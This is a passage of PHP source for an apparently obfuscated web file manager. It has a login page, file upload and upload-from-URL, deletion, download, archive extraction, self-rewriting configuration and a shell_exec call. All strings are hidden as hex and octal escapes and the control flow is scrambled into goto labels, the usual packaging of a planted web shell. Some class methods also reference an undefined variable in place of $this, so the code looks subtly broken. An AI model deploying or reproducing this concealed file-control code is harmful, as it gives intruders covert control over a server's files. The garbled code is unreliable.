0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E")}.fm-login-page .brand{width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}.fm-login-page .brand img{width:100%}.fm-login-page .card-wrapper{width:360px;margin-top:10%;margin-left:auto;margin-right:auto}.fm-login-page .card{border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}.fm-login-page .card-title{margin-bottom:1.5rem;font-size:24px;font-weight:400}.fm-login-page .form-control{border-width:2.3px}.fm-login-page .form-group label{width:100%}.fm-login-page .btn.btn-block{padding:12px 10px}.fm-login-page .footer{margin:40px 0;color:#888;text-align:center}@media screen and (max-width:425px){.fm-login-page .card-wrapper{width:90%;margin:0 auto;margin-top:10%}}@media screen and (max-width:320px){.fm-login-page .card.fat{padding:0}.fm-login-page .card.fat .card-body{padding:15px}}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}body.fm-login-page.theme-dark{background-color:#2f2a2a}.theme-dark svg g,.theme-dark svg path{fill:#fff}</style></head><body class="fm-login-page<?php  echo FM_THEME == "\x64\x61\162\x6b" ? "\164\x68\145\155\145\x2d\x64\x61\x72\x6b" : ''; ?>
"><div class="container-fluid"id="wrapper"><?php  } goto Ddw89; T_rNm: if ($qqqqqq !== false) { ?>
<tr><?php  if (!FM_READONLY) { ?>
<td class="nosort"></td><?php  } ?>
<td class="border-0"data-sort><a href="?p=<?php  echo urlencode($qqqqqq); ?>
"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td><td class="border-0"data-order></td><td class="border-0"data-order></td><td class="border-0"></td><?php  if (!FM_IS_WIN && !$rr) { ?>
<td class="border-0"></td><td class="border-0"></td><?php  } ?>
</tr><?php  } goto rtqDJ; eOOwl: ?>
</div></form><?php  goto El7zR; kylaD: if (!FM_READONLY) { ?>
<th class="custom-checkbox-header"style="width:3%"><div class="custom-checkbox custom-control"><input id="js-select-all-items"class="custom-control-input"type="checkbox"onclick="checkbox_toggle()"> <label for="js-select-all-items"class="custom-control-label"></label></div></th><?php  } goto b5huQ; UKEMM: $fff = file_get_contents("\160\150\160\72\x2f\x2f\151\156\160\165\x74"); goto HYp6y; IJg2w: function fm_is_exclude_items($ww) { $mmmm = strtolower(pathinfo($ww, PATHINFO_EXTENSION)); if (isset($bb) and sizeof($bb)) { unset($bb); } $bb = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, "\67\x2e\60\x2e\60", "\74")) { $bb = unserialize($bb); } if (!in_array($ww, $bb) && !in_array("\52\x2e{$mmmm}", $bb)) { return true; } return false; } goto h6pVs; M1feK: defined("\106\115\137\x53\x48\x4f\x57\137\x48\111\x44\x44\105\116") || define("\106\x4d\x5f\123\110\117\x57\x5f\x48\x49\x44\x44\105\116", $pp); goto B8fFS; KiSWy: if (isset($_GET["\x64\x65\154"], $_POST["\x74\x6f\153\x65\x6e"]) && !FM_READONLY) { $tttt = str_replace("\57", '', fm_clean_path($_GET["\x64\x65\x6c"])); if ($tttt != '' && $tttt != "\x2e\56" && $tttt != "\x2e" && verifyToken($_POST["\x74\157\x6b\x65\156"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } $uuuu = is_dir($iii . "\x2f" . $tttt); if (fm_rdelete($iii . "\x2f" . $tttt)) { $vv = $uuuu ? lng("\106\157\154\x64\145\162") . "\x20\x3c\142\76\45\x73\x3c\57\x62\76\40" . lng("\x44\x65\154\x65\x74\145\144") : lng("\x46\x69\154\145") . "\x20\x3c\x62\76\45\163\74\x2f\x62\76\x20" . lng("\x44\145\x6c\x65\164\145\144"); fm_set_msg(sprintf($vv, fm_enc($tttt))); } else { $vv = $uuuu ? lng("\x46\157\x6c\x64\145\162") . "\40\x3c\142\x3e\45\x73\74\57\x62\76\x20" . lng("\x6e\x6f\x74\40\144\145\x6c\145\x74\x65\x64") : lng("\106\x69\154\x65") . "\40\74\x62\76\45\x73\x3c\57\x62\76\40" . lng("\156\x6f\x74\x20\x64\x65\x6c\145\164\x65\144"); fm_set_msg(sprintf($vv, fm_enc($tttt)), "\x65\162\x72\x6f\162"); } } else { fm_set_msg(lng("\x49\x6e\x76\x61\154\x69\x64\40\146\151\154\x65\x20\157\162\x20\x66\157\x6c\144\145\x72\x20\156\x61\155\x65"), "\x65\162\x72\157\162"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($jjj)); } goto QYvDj; EufSw: function fm_get_text_names() { return array("\x6c\x69\143\x65\156\x73\x65", "\x72\x65\x61\144\155\145", "\x61\165\x74\x68\157\x72\x73", "\x63\x6f\156\164\162\151\x62\x75\x74\x6f\162\x73", "\143\150\x61\156\147\x65\154\157\147"); } goto EweQO; QnkHS: class FM_Config { var $zzzzzzzzzz; function __construct() { global $r, $s, $b; $aaaaaaaaaaa = $s . $_SERVER["\x50\x48\x50\x5f\123\x45\114\106"]; $yyyyyyyyyy->data = array("\154\x61\x6e\147" => "\145\x6e", "\145\x72\162\157\162\137\162\145\x70\157\x72\x74\x69\156\x67" => true, "\163\x68\x6f\x77\x5f\x68\151\x64\x64\145\156" => true); $zzzzzzzzzz = false; if (strlen($b)) { $zzzzzzzzzz = fm_object_to_array(json_decode($b)); } else { $vv = "\124\151\156\171\40\106\x69\154\x65\x20\115\x61\156\141\x67\x65\162\x3c\x62\x72\76\105\162\x72\x6f\162\x3a\x20\103\141\x6e\x6e\157\x74\40\x6c\157\x61\144\x20\x63\157\x6e\x66\151\147\165\162\141\164\151\157\156"; if (substr($aaaaaaaaaaa, -1) == "\x2f") { $aaaaaaaaaaa = rtrim($aaaaaaaaaaa, "\57"); $vv .= "\x3c\142\x72\76"; $vv .= "\74\142\162\76\x53\145\145\x6d\x73\40\x6c\151\x6b\x65\40\171\157\x75\x20\150\x61\166\145\40\x61\40\x74\162\x61\151\154\x69\156\x67\x20\163\x6c\141\163\x68\x20\x6f\x6e\40\x74\x68\145\x20\125\x52\x4c\x2e"; $vv .= "\74\x62\x72\x3e\x54\162\171\40\164\150\151\x73\40\154\151\x6e\x6b\72\x20\x3c\141\x20\x68\162\x65\146\75\x22" . $aaaaaaaaaaa . "\42\76" . $aaaaaaaaaaa . "\74\57\141\x3e"; } die($vv); } if (is_array($zzzzzzzzzz) && count($zzzzzzzzzz)) { $yyyyyyyyyy->data = $zzzzzzzzzz; } else { $yyyyyyyyyy->save(); } } function save() { $bbbbbbbbbbb = __FILE__; $ccccccccccc = "\x24\103\117\116\106\x49\107"; $ddddddddddd = var_export(json_encode($yyyyyyyyyy->data), true); $eeeeeeeeeee = "\x3c\x3f\x70\150\x70" . chr(13) . chr(10) . "\57\x2f\104\x65\146\x61\x75\154\x74\40\103\x6f\156\146\151\x67\165\x72\x61\x74\x69\157\156" . chr(13) . chr(10) . "{$ccccccccccc}\x20\x3d\40{$ddddddddddd}\x3b" . chr(13) . chr(10); if (is_writable($bbbbbbbbbbb)) { $fffffffffff = file($bbbbbbbbbbb); if ($ggggggggggg = @fopen($bbbbbbbbbbb, "\167")) { @fputs($ggggggggggg, $eeeeeeeeeee, strlen($eeeeeeeeeee)); for ($vvvvvv = 3; $vvvvvv < count($fffffffffff); $vvvvvv++) { @fputs($ggggggggggg, $fffffffffff[$vvvvvv], strlen($fffffffffff[$vvvvvv])); } @fclose($ggggggggggg); } } } } goto fw0Wq; r8nFt: function fm_get_zif_info($iii, $mmmm) { if ($mmmm == "\x7a\151\160" && function_exists("\x7a\x69\160\x5f\x6f\x70\145\156")) { $xxxxxxxxx = @zip_open($iii); if ($xxxxxxxxx) { $nnnnnnn = array(); while ($yyyyyyyyy = @zip_read($xxxxxxxxx)) { $vvvvvvv = @zip_entry_name($yyyyyyyyy); $zzzzzzzzz = substr($vvvvvvv, -1) == "\x2f"; $nnnnnnn[] = array("\x6e\x61\155\x65" => $vvvvvvv, "\146\151\x6c\x65\163\x69\x7a\x65" => @zip_entry_filesize($yyyyyyyyy), "\x63\157\x6d\x70\x72\145\x73\x73\x65\x64\137\163\x69\x7a\x65" => @zip_entry_compressedsize($yyyyyyyyy), "\x66\x6f\154\144\145\x72" => $zzzzzzzzz); } @zip_close($xxxxxxxxx); return $nnnnnnn; } } elseif ($mmmm == "\x74\x61\x72" && class_exists("\x50\x68\x61\162\x44\141\x74\x61")) { $aaaaaaaaaa = new PharData($iii); $nnnnnnn = array(); foreach (new RecursiveIteratorIterator($aaaaaaaaaa) as $ww) { $bbbbbbbbbb = $ww->getPathInfo(); $vvvvvvv = str_replace("\x70\150\x61\162\x3a\57\57" . $iii, '', $ww->getPathName()); $vvvvvvv = substr($vvvvvvv, ($cccccccccc = strpos($vvvvvvv, "\57")) !== false ? $cccccccccc + 1 : 0); $zzzzzzzzz = $bbbbbbbbbb->getFileName(); $dddddddddd = new SplFileInfo($ww); $nnnnnnn[] = array("\x6e\141\155\145" => $vvvvvvv, "\146\x69\x6c\x65\x73\x69\x7a\145" => $dddddddddd->getSize(), "\x63\x6f\x6d\160\x72\145\163\x73\145\144\x5f\x73\151\172\x65" => $ww->getCompressedSize(), "\146\157\x6c\x64\x65\162" => $zzzzzzzzz); } return $nnnnnnn; } return false; } goto wqn34; GCK3B: function fm_get_parent_path($iii) { $iii = fm_clean_path($iii); if ($iii != '') { $hhhhhhhhh = explode("\x2f", $iii); if (count($hhhhhhhhh) > 1) { $hhhhhhhhh = array_slice($hhhhhhhhh, 0, -1); return implode("\x2f", $hhhhhhhhh); } return ''; } return false; } goto IJg2w; m0yiT: echo lng("\x4e\141\x6d\145"); goto TKcmv; WsUSF: $o = true; goto WJnXN; lJxda: $m = true; goto dHfDq; IGDHL: function fm_get_image_exts() { return array("\151\x63\157", "\x67\151\x66", "\x6a\x70\x67", "\x6a\x70\x65\147", "\152\160\143", "\x6a\x70\x32", "\152\x70\x78", "\170\x62\155", "\167\x62\x6d\x70", "\x70\156\x67", "\142\x6d\x70", "\164\x69\146", "\x74\x69\x66\x66", "\x70\x73\144", "\163\166\x67", "\167\x65\x62\160", "\141\x76\x69\146"); } goto daeQO; Uq6D2: if (isset($_GET["\x75\x70\x6c\157\141\x64"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $uuuuuu = explode("\x2c", FM_UPLOAD_EXTENSION); if (FM_UPLOAD_EXTENSION && $uuuuuu) { array_walk($uuuuuu, function (&$vvvvvv) { $vvvvvv = "\x2e{$vvvvvv}"; }); return implode("\x2c", $uuuuuu); } return ''; } print_external("\143\163\x73\x2d\144\162\x6f\x70\x7a\157\156\x65"); ?>
<div class="path"><div class="mb-2 card fm-upload-wrapper<?php  echo fm_get_theme(); ?>
"><div class="card-header"><ul class="card-header-tabs nav nav-tabs"><li class="nav-item"><a href="#fileUploader"class="nav-link active"data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i><?php  echo lng("\x55\160\154\x6f\x61\x64\151\x6e\x67\x46\151\x6c\x65\163"); ?>
</a></li><li class="nav-item"><a href="#urlUploader"class="nav-link"class="js-url-upload"data-target="#urlUploader"><i class="fa fa-link"></i><?php  echo lng("\x55\x70\154\x6f\141\144\x20\x66\x72\x6f\x6d\40\x55\x52\114"); ?>
</a></li></ul></div><div class="card-body"><p class="card-text"><a href="?p=<?php  echo FM_PATH; ?>
"class="float-right"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("\102\x61\143\153"); ?>
</a><strong><?php  echo lng("\104\x65\163\164\x69\156\x61\164\x69\x6f\156\106\x6f\154\x64\145\162"); ?>
</strong>:<?php  echo fm_enc(fm_convert_win(FM_PATH)); ?>
</p><form action="<?php  echo htmlspecialchars(FM_SELF_URL) . "\77\x70\75" . fm_enc(FM_PATH); ?>
"class="card-tabs-container dropzone"id="fileUploader"enctype="multipart/form-data"><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="fullpath"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"id="fullpath"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\164\157\153\145\x6e"]; ?>
"><div class="fallback"><input name="file"type="file"multiple></div></form><div class="hidden card-tabs-container upload-url-wrapper"id="urlUploader"><form method="POST"action=""class="row align-items-center g-3 row-cols-lg-auto"onsubmit="return upload_from_url(this)"id="js-form-url-upload"><input name="type"type="hidden"value="upload"aria-hidden="true"aria-label="hidden"> <input name="uploadurl"type="url"required class="form-control"placeholder="URL"style="width:80%"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\145\156"]; ?>
"> <button class="btn btn-primary ms-3"type="submit"><?php  echo lng("\125\160\154\x6f\x61\x64"); ?>
</button><div class="lds-facebook"><div></div><div></div><div></div></div></form><div class="mt-3 col-9"id="js-url-upload__list"></div></div></div></div></div><?php  print_external("\152\x73\x2d\144\162\x6f\x70\x7a\157\x6e\145"); ?>
<script>Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize:<?php  echo UPLOAD_CHUNK_SIZE; ?>
,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php  echo MAX_UPLOAD_SIZE; ?>
",
            acceptedFiles : "<?php  echo getUploadExt(); ?>
",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);

                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }</script><?php  fm_show_footer(); die; } goto naMlh; FeUD9: $w = "\155\x2f\x64\57\x59\x20\x67\x3a\151\40\x41"; goto atWEc; wk_xp: defined("\x46\115\x5f\110\x49\x47\110\x4c\111\x47\110\124\112\123\137\x53\124\131\114\105") || define("\106\x4d\x5f\110\111\x47\110\114\111\107\x48\124\112\x53\137\x53\x54\131\114\x45", $n); goto DWRaq; VUt9r: function fm_get_mime_type($kkk) { if (function_exists("\x66\151\156\x66\x6f\x5f\x6f\160\x65\x6e")) { $bbbbbbbbb = finfo_open(FILEINFO_MIME_TYPE); $ccccccccc = finfo_file($bbbbbbbbb, $kkk); finfo_close($bbbbbbbbb); return $ccccccccc; } elseif (function_exists("\155\x69\155\145\137\143\x6f\x6e\x74\145\x6e\164\137\164\x79\x70\x65")) { return mime_content_type($kkk); } elseif (!stristr(ini_get("\x64\151\163\141\x62\154\x65\x5f\x66\x75\156\x63\164\x69\x6f\x6e\163"), "\163\150\145\x6c\x6c\137\x65\170\x65\x63")) { $ww = escapeshellarg($kkk); $ccccccccc = shell_exec("\146\151\x6c\x65\40\55\x62\151\x20" . $ww); return $ccccccccc; } else { return "\55\x2d"; } } goto mbX4C; daPQk: class FM_Zipper_Tar { private $jjjjjj; public function __construct() { $yyyyyyyyyy->tar = null; } public function create($vvvvv, $lllll) { $yyyyyyyyyy->tar = new PharData($vvvvv); if (is_array($lllll)) { foreach ($lllll as $mmmmm) { $mmmmm = fm_clean_path($mmmmm); if (!$yyyyyyyyyy->addFileOrDir($mmmmm)) { return false; } } return true; } else { if ($yyyyyyyyyy->addFileOrDir($lllll)) { return true; } return false; } } public function unzip($vvvvv, $iii) { $aaaa = $yyyyyyyyyy->tar->open($vvvvv); if ($aaaa !== true) { return false; } if ($yyyyyyyyyy->tar->extractTo($iii)) { return true; } return false; } private function addFileOrDir($vvvvv) { if (is_file($vvvvv)) { try { $yyyyyyyyyy->tar->addFile($vvvvv); return true; } catch (Exception $uuu) { return false; } } elseif (is_dir($vvvvv)) { return $yyyyyyyyyy->addDir($vvvvv); } return false; } private function addDir($iii) { $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "\56" && $ww != "\56\56") { if (is_dir($iii . "\x2f" . $ww)) { if (!$yyyyyyyyyy->addDir($iii . "\57" . $ww)) { return false; } } elseif (is_file($iii . "\x2f" . $ww)) { try { $yyyyyyyyyy->tar->addFile($iii . "\x2f" . $ww); } catch (Exception $uuu) { return false; } } } } return true; } return false; } } goto QnkHS; pZ0zR: $pp = isset($nn->data["\x73\150\x6f\x77\137\150\151\x64\x64\145\156"]) ? $nn->data["\163\150\157\x77\137\150\x69\x64\144\145\156"] : true; goto mTwA9; dHfDq: $n = "\x76\163"; goto WsUSF; C6I4T: define("\x46\x4d\137\x49\123\x5f\127\111\x4e", DIRECTORY_SEPARATOR == "\x5c"); goto jtXVu; E2R6F: $aa = ''; goto F9Hga; wqn34: function fm_enc($eeeeeeeeee) { return htmlspecialchars($eeeeeeeeee, ENT_QUOTES, "\125\124\x46\55\x38"); } goto jkNtT; GxZjv: if (isset($_GET["\x64\x6c"], $_POST["\164\157\153\x65\x6e"])) { if (!verifyToken($_POST["\x74\x6f\x6b\x65\x6e"])) { fm_set_msg("\111\156\x76\x61\x6c\x69\144\40\124\x6f\153\145\156\x2e", "\x65\162\x72\157\x72"); } $ooooo = urldecode($_GET["\144\154"]); $ooooo = fm_clean_path($ooooo); $ooooo = str_replace("\x2f", '', $ooooo); $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } if ($ooooo != '' && is_file($iii . "\x2f" . $ooooo)) { fm_download_file($iii . "\57" . $ooooo, $ooooo, 1024); die; } else { fm_set_msg(lng("\106\151\154\145\x20\156\157\164\x20\x66\157\165\x6e\144"), "\x65\162\162\157\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\x3d" . urlencode($jjj)); } } goto LGea1; mbX4C: function fm_redirect($ffff, $uu = 302) { header("\114\157\143\x61\164\151\x6f\x6e\x3a\40" . $ffff, true, $uu); die; } goto kd7ko; kjRbk: echo $dddddddd; goto lk_t5; LRolc: ?>
</th><?php  goto q9SX4; kt2cY: $mm = __DIR__ . "\57\x63\157\x6e\x66\x69\147\x2e\160\x68\160"; goto Oer20; qrOIv: function fm_mkdir($ggg, $wwwwwwww) { if (file_exists($ggg)) { if (is_dir($ggg)) { return $ggg; } elseif (!$wwwwwwww) { return false; } unlink($ggg); } return mkdir($ggg, 511, true); } goto bkHlr; s07eU: echo $_SESSION["\x74\x6f\153\145\x6e"]; goto IocCO; z8HOt: if (isset($_POST["\165\x6e\x7a\151\x70"], $_POST["\164\x6f\153\x65\156"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\157\153\x65\x6e"])) { fm_set_msg(lng("\111\x6e\166\x61\x6c\151\x64\x20\x54\x6f\x6b\145\x6e\56"), "\x65\162\x72\157\162"); } $kkkkkk = urldecode($_POST["\x75\x6e\x7a\x69\x70"]); $kkkkkk = fm_clean_path($kkkkkk); $kkkkkk = str_replace("\57", '', $kkkkkk); $llllll = false; $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } if ($kkkkkk != '' && is_file($iii . "\x2f" . $kkkkkk)) { $mmmmmm = $iii . "\57" . $kkkkkk; $mmmm = pathinfo($mmmmmm, PATHINFO_EXTENSION); $llllll = true; } else { fm_set_msg(lng("\x46\151\154\145\40\x6e\157\x74\x20\146\157\x75\x6e\x64"), "\145\162\162\x6f\162"); } if ($mmmm == "\172\x69\x70" && !class_exists("\x5a\x69\160\x41\x72\x63\150\151\x76\x65") || $mmmm == "\x74\141\162" && !class_exists("\x50\150\141\x72\104\x61\164\x61")) { fm_set_msg(lng("\117\x70\145\162\141\x74\151\x6f\156\163\x20\x77\x69\164\150\x20\x61\x72\x63\x68\151\x76\145\163\40\x61\162\145\x20\x6e\157\x74\x20\x61\166\141\x69\x6c\x61\142\154\145"), "\x65\162\162\157\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($jjj)); } if ($llllll) { $nnnnnn = ''; if (isset($_POST["\164\x6f\146\157\x6c\x64\145\x72"])) { $nnnnnn = pathinfo($mmmmmm, PATHINFO_FILENAME); if (fm_mkdir($iii . "\57" . $nnnnnn, true)) { $iii .= "\57" . $nnnnnn; } } if ($mmmm == "\x7a\151\x70") { $iiiiii = new FM_Zipper(); $aaaa = $iiiiii->unzip($mmmmmm, $iii); } elseif ($mmmm == "\164\x61\x72") { try { $oooooo = new PharData($mmmmmm); if (@$oooooo->extractTo($iii, null, true)) { $aaaa = true; } else { $aaaa = false; } } catch (Exception $uuu) { $aaaa = true; } } if ($aaaa) { fm_set_msg(lng("\101\x72\143\150\151\x76\145\40\x75\156\x70\141\x63\153\x65\x64")); } else { fm_set_msg(lng("\x41\162\143\x68\x69\x76\x65\x20\156\157\x74\40\x75\156\160\141\x63\x6b\x65\144"), "\145\x72\162\157\162"); } } else { fm_set_msg(lng("\106\151\154\x65\x20\x6e\157\164\x20\146\157\165\x6e\x64"), "\145\162\162\157\162"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } goto Vef7I; v2gQM: ?>
</th><th><?php  goto L80s9; BgoCG: $s = fm_clean_path($s); goto dxK5N; eCfLO: if (!@is_dir($r)) { echo "\x3c\x68\x31\x3e" . lng("\122\x6f\157\164\40\x70\x61\x74\150") . "\x20\42{$r}\x22\x20" . lng("\156\157\x74\x20\146\157\165\x6e\x64\41") . "\40\x3c\57\150\61\76"; die; } goto M1feK; TTddz: if (isset($_GET["\x76\x69\145\x77"])) { $ww = $_GET["\166\x69\145\167"]; $ww = fm_clean_path($ww, false); $ww = str_replace("\x2f", '', $ww); if ($ww == '' || !is_file($iii . "\x2f" . $ww) || in_array($ww, $GLOBALS["\x65\170\x63\154\x75\x64\145\x5f\x69\x74\x65\155\x73"])) { fm_set_msg(lng("\106\151\x6c\145\x20\x6e\x6f\164\x20\146\x6f\x75\x6e\144"), "\145\x72\x72\x6f\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\x2f" . $ww); $kkk = $iii . "\57" . $ww; $mmmm = strtolower(pathinfo($kkk, PATHINFO_EXTENSION)); $ccccccc = fm_get_mime_type($kkk); $ddddddd = fm_get_size($kkk); $eeeeeee = fm_get_filesize($ddddddd); $fffffff = false; $ggggggg = false; $hhhhhhh = false; $iiiiiii = false; $jjjjjjj = false; $kkkkkkk = false; $lllllll = false; $mmmmmmm = "\x46\151\154\145"; $nnnnnnn = false; $ooooooo = ''; $cc = strtolower(FM_DOC_VIEWER); if ($cc && $cc !== "\x66\141\x6c\x73\x65" && in_array($mmmm, fm_get_onlineViewer_exts())) { $lllllll = true; } elseif ($mmmm == "\x7a\151\x70" || $mmmm == "\x74\x61\162") { $fffffff = true; $mmmmmmm = "\x41\162\143\150\151\166\145"; $nnnnnnn = fm_get_zif_info($kkk, $mmmm); } elseif (in_array($mmmm, fm_get_image_exts())) { $hhhhhhh = true; $mmmmmmm = "\x49\x6d\141\x67\145"; } elseif (in_array($mmmm, fm_get_audio_exts())) { $iiiiiii = true; $mmmmmmm = "\x41\165\144\151\x6f"; } elseif (in_array($mmmm, fm_get_video_exts())) { $jjjjjjj = true; $mmmmmmm = "\x56\151\144\145\x6f"; } elseif (in_array($mmmm, fm_get_text_exts()) || substr($ccccccc, 0, 4) == "\164\145\170\164" || in_array($ccccccc, fm_get_text_mimes())) { 